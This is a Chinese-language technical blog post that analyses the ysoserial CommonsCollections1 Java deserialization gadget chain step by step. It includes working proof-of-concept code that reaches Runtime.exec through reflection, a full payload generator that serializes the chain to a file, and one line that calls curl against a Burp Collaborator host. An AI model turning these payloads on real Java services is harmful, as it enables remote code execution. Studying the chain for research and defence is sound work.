Loading

Ysoserial CommonsCollections1分析

Ysoserial CommonsCollections1分析

准备工作

先贴上整条cc1的Gadget chain

	Gadget chain:
			ObjectInputStream.readObject()
					AnnotationInvocationHandler.readObject()
							Map(Proxy).entrySet()
									AnnotationInvocationHandler.invoke()
											LazyMap.get()
													ChainedTransformer.transform()
																ConstantTransformer.transform()
																InvokerTransformer.transform()
																		Method.invoke()
																				Class.getMethod()
																InvokerTransformer.transform()
																		Method.invoke()
																				Runtime.getRuntime()
																InvokerTransformer.transform()
																		Method.invoke()
																				Runtime.exec()

Apache Commons Collections3.1下载:https://archive.apache.org/dist/commons/collections/

新建项目,导入commons-collections-3.1.jar包,新建一个payload测试demo(这个demo只是cc1的一部分,整条cc链比较复杂,先挑出这部分执行命令的payload,之后再把反序列化点加进来)

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Cc1Demo {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

先运行下看看,运行后弹出计算器

Payload分析

下面我们一点一点分析这个payload Demo最后是如何去执行命令的

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

首先看main方法中的第一个部分,这里new了一个类型为Transformer的数组,跟进去看一下

Transformer

看源码可知,Transformer是一个接口,该接口定义了一个transform()方法。而上面poc中,new了一个Transformer类型的数组transformers,这个数组中存储的值为Transformer接口的实现类对象。

那么看一下这个数组中的几个值,分别是

  • new ConstantTransformer(Runtime.class)
  • new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
  • new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })
  • new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

首先跟进看下new ConstantTransformer(Runtime.class)

ConstantTransformer

这里直接跳到了ConstantTransformer的有参构造方法,在上面可以看到该类实现了Transformer和Serializable接口,所以也一定会实现Transformer接口的transform方法。在上面数组的第一个值new ConstantTransformer(Runtime.class)中,对ConstantTransformer的有参构造方法传入的参数是Runtime.class,这里有参构造完成了一个将该参数赋值给了属性iConstant的属性赋值操作,而transform方法会将我们传入的Runtime.class对象返回出来,后面会说明这个transform方法具体在什么时候被调用。

上面也提到了,因为new数组时的数据类型为Transformer接口,所以该数组存储的都是实现了该接口的实现类的实例化对象,而该数组的第一个值即为new ConstantTransformer(Runtime.class)之后生成的实例化对象。

InvokerTransformer

Transformer implementation that creates a new object instance by reflection.(通过反射,返回一个对象)

下面看下第二个值new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })首先看下InvokerTransformer类。

InvokerTransformer类也是Transformer接口的实现类,它的有参构造方法有3个参数

  1. String iMethodName:要调用的方法名
  2. Class[] iParamTypes:传入方法的参数类型
  3. Object[] args:要传入的参数

重写的transform方法中利用了反射机制去调用执行这些方法(getMethod().invoke())

try {
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
}

ChainedTransformer

  • Transformer implementation that chains the specified transformers together.(把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)

这里将上面定义的transformers数组传入ChainedTransformer并创建实例化对象

Transformer transformerChain = new ChainedTransformer(transformers);

跟进看下ChainedTransformer类,同样是Transfomer的实现类

在构造方法中将我们传入的transform数组传给了iTransformers

ChainedTransformer重写的transform方法会将传入的参数object根据数组iTransformers的长度进行遍历并调用iTransformers数组元素的transform方法。

Map

Map innerMap = new HashMap();

innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("foobar");

在分析代码前先把下面涉及到的知识点学习一下。这里引用一段别人对Map的理解

利用Transform来执行命令有时还需要绑定到Map上,这里就讲一下Map。抽象类AbstractMapDecorator是Apache Commons Collections引入的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

而在这个payload demo中,setValue("foobar")只是为了进行修改innerMap("value","value")的值进而最终触发ChainedTransformer中的transform方法来达成命令执行。

再来看最后这部分代码,通过setValue方法修改Map中的value的值来触发最后在ChainedTransformer类中调用transform方法

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式
onlyElement.setValue("foobar");

调试分析

那么先来调试一下这个简易版的cc1 demo,在onlyElement.setValue("foobar");处打断点进行分析

首先进入AbstractInputCheckedMapDecorator#setValue(Object value)方法,继续跟进看一下

调用的是TransformedMap#checkSetValue方法,根据上面对TransformedMap类的分析,在payload中经过如下语句

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

会生成一个TransformedMap类的对象,并且在这里根据debug中的参数信息也可以看到this.valueTransformer就是我们上面的数组transformers

继续跟进,在ChainedTransformer类中调用transform方法。该方法会对数组进行遍历并挨个调用数组内每个元素的transform方法,并将第一次执行的结果作为第二次的参数传递进去。

官方说明:

将指定的转换器连接在一起的转化器实现。 输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

在debug信息可以看到,第0个元素为ConstantTransformer对象,所以会走该类的transform方法,根据传入的值为new ConstantTransformer(Runtime.class)最终返回java.lang.Runtime

这里因为Runtime.class是Runtime类的class对象,这个class代表的是Runtime这个类,所以最终返回java.lang.Runtime

继续跟进,此时第一次的结果java.lang.Runtime会作为参数进入第二次循环

后面第1、2、3个元素都是InvokerTransformer类的实例化对象,所以会走InvokerTransformer的transform方法

因为要调用3次该方法,上面也提到了它的大致作用,这里我们带入参数剖析一下这3次的执行过程是怎样的。

第一次进入调用方法,首先是从ConstantTransformer#transform方法出来返回了java.lang.Runtime作为第二次循环的参数进入InvokerTransformer#transform方法。我们根据参数java.lang.Runtime和数组中的元素new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }) 可以得到这里的transform方法会变为这样

try {
  	//step1:获取java.lang.class类,input=Runtime.class, cls=java.lang.class
    Class cls = Runtime.class.getClass();
  	//step2:获取getMthod()方法, cls=java.lang.class, method=java.lang.class.getMethod()
    Method method = cls.getMethod("getMethod", new Class[] {String.class, Class[].class });
  	//step3:激活执行getRuntime()获取Runtime.getRuntime()方法
    return method.invoke(Runtime.class, new Object[] {"getRuntime", new Class[0] });
}
Runtime.class.getClass().getMethod("getRuntime")

第二次调用该方法,首先上次的结果Runtime.getRuntime()方法作为参数传入并根据 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })推演下第二次transform的执行

第二次调用执行过程:

try {
  	//step1:获取Method类,input=Runtime.getRuntime() 因为传入的是getRuntime()方法所以类型为Method类
    Class cls = input.getClass();
  	//step2:寻找并获取invoke方法, cls=java.lang.Method, method=java.lang.Method.invoke()
    Method method = cls.getMethod("invoke", new Class[] {String.class, Class[].class });
  	//step3:激活执行invoke
    return method.invoke(input, new Object[] {"getRuntime", new Class[0] });
}

结合第一次调用过程,这里相当于执行了

Runtime.class.getClass().getMethod("getRuntime").invoke()

也就是返回了一个Runtime类的实例对象,作为第三次调用transform方法的参数。

第三次调用transform,这里invoke传入的是Runtime类的实例化对象

try {
  	//step1:获取Runtime的class对象
    Class cls = input.getClass();
  	//step2:获取Runtime类的exec方法, cls=java.lang.Method, method=java.lang.Method.invoke()
    Method method = cls.getMethod("exec", new Class[] {String.class });
  	//step3:激活执行invoke
    return method.invoke(input, new Object[] {"open /System/Applications/Calculator.app"});
}

最后达成了执行命令的目的,第三次调用相当于执行了:

Runtime类的实例化对象.getClass().getMethod("exec",null).invoke(Runtime类的实例化对象,"open /System/Applications/Calculator.app")
  
java.lang.Runtime.getRuntime().class.getMethod("exec",null).invoke(java.lang.Runtime.getRuntime(),"curl 6z6syds6t8lxhpztbhff5ffq6hc70w.burpcollaborator.net")

回看ChainedTransformer中transform的执行过程,首先通过ConstantTransformer调用transform方法返回Runtime的class对象,之后将其作为参数传入InvokerTransformer的transform方法中,然后获取了Runtime.getRuntime()方法,再然后将getRuntime()方法作为参数传入并通过invoke调用执行getRuntime()方法获得Runtime类的实例化对象,最终该对象作为第三次调用的参数传入并通过调用exec方法执行命令。这里用一张orleven师傅的图加深下理解

在这个过程中,最有趣的莫过于第二次执行InvokerTransformer的transform方法了,通过getRuntime()方法作为参数传入,在通过getMethod()方法找到invoke方法然后去完成调用getRuntime()生成Runtime的实例化对象。在transform的反射机制里又完成了一次反射...

这里其实还有一个问题,为什么需要这么麻烦,而不直接传Runtime对象进去就好了?

因为Runtime类并没有implements Serializable接口,所以不可以被反序列化,也就不能在后面通过反序列化的方式触发任意代码执行。

以上,cc1执行任意命令的部分就分析完了,那么下面就是找到如何自动调用InvokerTransformer类中的transform()方法,构造代码执行。最终有以下两个类可以触发

  • TransformedMap
  • LazyMap

TransformedMap

这里拿出一部分代码简单看下这个TransformedMap类

这里通过传入一个map对象和实现了Transformer接口的两个实例化对象keyTransformer、valueTransformer来return一个TransformedMap对象。需要注意的是因为该类构造方法存在protected修饰符,在别的包里是不可以直接new TransformedMap对象的,需要通过decorate()方法来创造一个TransformedMap对象。

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    private static final long serialVersionUID = 7023152376788900464L;
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;
  
  	...
      
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
        }
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

而对于checkSetValue方法中可以看到会调用valueTransformer.transform(value),依据我们前面分析,通过TransformedMap调用value中各个元素对应的transform方法。也就是说只要构造一个TransformedMap并且去修改value值,即可触发ChainedTransformed#transform。总体流程大致为:

AbstractInputCheckedMapDecorator#setValue ==> TransformedMap#checkSetValue ==> valueTransformer.transform(value) ==> ChainedTransformed#transform

LazyMap

首先这个类和TransformedMap一样,继承了抽象类AbstractMapDecorator,TransformedMap类的构造方法也被protected修饰,不可以直接new,需要调用decorate方法来生成LazyMap的实例化对象。

与TransformedMap不同的是,TransformedMap会在checkSetValue方法调用transform,而LazyMap在get方法中调用transform

当调用get(key)的key不存在时,会调用transformerChain的transform()方法。修改下poc我们来测试一下

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Cc1Demo {

    public static void main(String[] args) throws Exception {
       Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");

        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
        tmpmap.get("1");
    }
}

在最后get方法处下断点,进入get方法,先判断是否存在key,若有则进入ChainedTransformed#transform方法

后面的执行流程就一致了,不再赘述,主要区别就是在于LazyMap是通过get方法跳入ChainedTransformer中的transform方法。

但是上面去构造任意代码执行的触发方式不管TransformedMapcheckSetValue()还是LazyMapget()方法都是需要手动调用,真实情况下基本不可能实现,我们需要一种自动化的方式触发。那后面就是利用到了反序列化的机制,通过反序列化自动调用readObject方法自动触发我们后面一整个利用链的调用。

AnnotationInvocationHandler

这里找到的就是AnnotationInvocationHandler类。这个类是用来处理注解的类,有2个属性typememberValues 并且对readObject方法进行了重写。this.type的注解要存在注解元素名(为了满足var3不为空),this.memberValues中存在的一个键值对的键名与this.type的注解要存在注解元素名相等。(为了满足var7!=null)同时这个键值对的键名不可改变,但是值可以改变。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
  
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
          this.type = var1;
          this.memberValues = var2;
      }
  
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
          var1.defaultReadObject();
          AnnotationType var2 = null;

          try {
            //this.type是实例化的时候传入的jdk自带的Target.class
            //getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等
              var2 = AnnotationType.getInstance(this.type);
          } catch (IllegalArgumentException var9) {
              return;
          }

          Map var3 = var2.memberTypes();
          Iterator var4 = this.memberValues.entrySet().iterator();

          while(var4.hasNext()) {
              Entry var5 = (Entry)var4.next();
              String var6 = (String)var5.getKey();
              Class var7 = (Class)var3.get(var6);
              if (var7 != null) {
                  Object var8 = var5.getValue();
                  if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                      var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                  }
              }
          }

      }
  }

同时AnnotationInvocationHandler#invoke方法可以调用LazyMap#get方法,这个点最后整体调试的时候再详细的捋一下,这里先有个印象就好。

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
              	//在此处调用get方法
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

AnnotationInvocationHandler需要用低版本的jdk去使用,在高版本改动过readObject代码,不能达到任意代码执行

下面放上完整的利用poc

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
  			//构造runtime.exec("command")
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
  			//将数组作为参数生成ChainedTransformer对象
        Transformer transformerChain = new ChainedTransformer(transformers);
  			
  			//构造LazyMap对象,将其属性factory设置为transformerChain
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  
  			//反射获取AnnotationInvocationHandler的有参构造方法和class对象
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
  			//暴力反射
        construct.setAccessible(true);
  
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(handler);
        
    }

整个poc还有几行没有分析,除去最后的序列化部分,剩下的为

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

第一行:InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

通过前面的反射获取的AnnotationInvocationHandler类的构造方法,传入LazyMap outerMap和元注解的class对象Retention.class来获取InvocationHandler的对象handler。

第二行:Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里创建了一个动态代理Map的对象proxyMap。

简单提下动态代理机制:

动态代理对象与真实对象会实现相同的接口,也就意味着会有相同的方法。

一般会用Proxy.newProxyInstance()会返回一个代理对象。这个方法有3个参数

1、类加载器: 真实对象.getClass().getClassLoader()
2、实现的接口:真实对象.getClass().getInterfaces()
3、处理器: new InvocationHandler()

这下就和poc代码对应上了,这里就是生成了一个动态代理Map类的对象proxyMap

第三行:handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

这里传入Map类的动态代理对象proxyMap作为参数重新赋值给handler对象,来方便我们后续通过动态代理的特性:

代理对象调用任意方法,调用处理器中的invoke()方法都执行一次

来达到调用AnnotationInvocationHandler.invoke()方法的目的。

总结

那么回顾一下利用链,因为AnnotationInvocationHandler重写了readObject()方法,所以反序列化时执行的是经过重写的AnnotationInvocationHandler.readObject()方法,而在重写的readObject方法内会调用memberValues.entrySet()方法,而这里我们传入的参数是Map的动态代理对象proxyMap,并且因为动态代理的特性,动态代理对象执行了entrySet()方法那么就会使处理器AnnotationInvocationHandler的对象调用执行invoke()方法一次,而invoke方法调用了LazyMap.get()方法。在get方法内,factory为我们传入的数组Transformer[] transformers ,之后进入到ChainedTransformer.transform()对数组元素进行遍历并调用元素各自的transform方法,达到任意代码执行。

Gadget chain:
		ObjectInputStream.readObject()
				AnnotationInvocationHandler.readObject()
						Map(Proxy).entrySet()
								AnnotationInvocationHandler.invoke()
										LazyMap.get()
												ChainedTransformer.transform()
															ConstantTransformer.transform()
															InvokerTransformer.transform()
																	Method.invoke()
																			Class.getMethod()
															InvokerTransformer.transform()
																	Method.invoke()
																			Runtime.getRuntime()
															InvokerTransformer.transform()
																	Method.invoke()
																			Runtime.exec()

参考文章

https://www.cnblogs.com/nice0e3/p/13779857.html

posted @ 2021-09-03 23:19  Zh1z3ven  阅读(318)  评论(0编辑  收藏  举报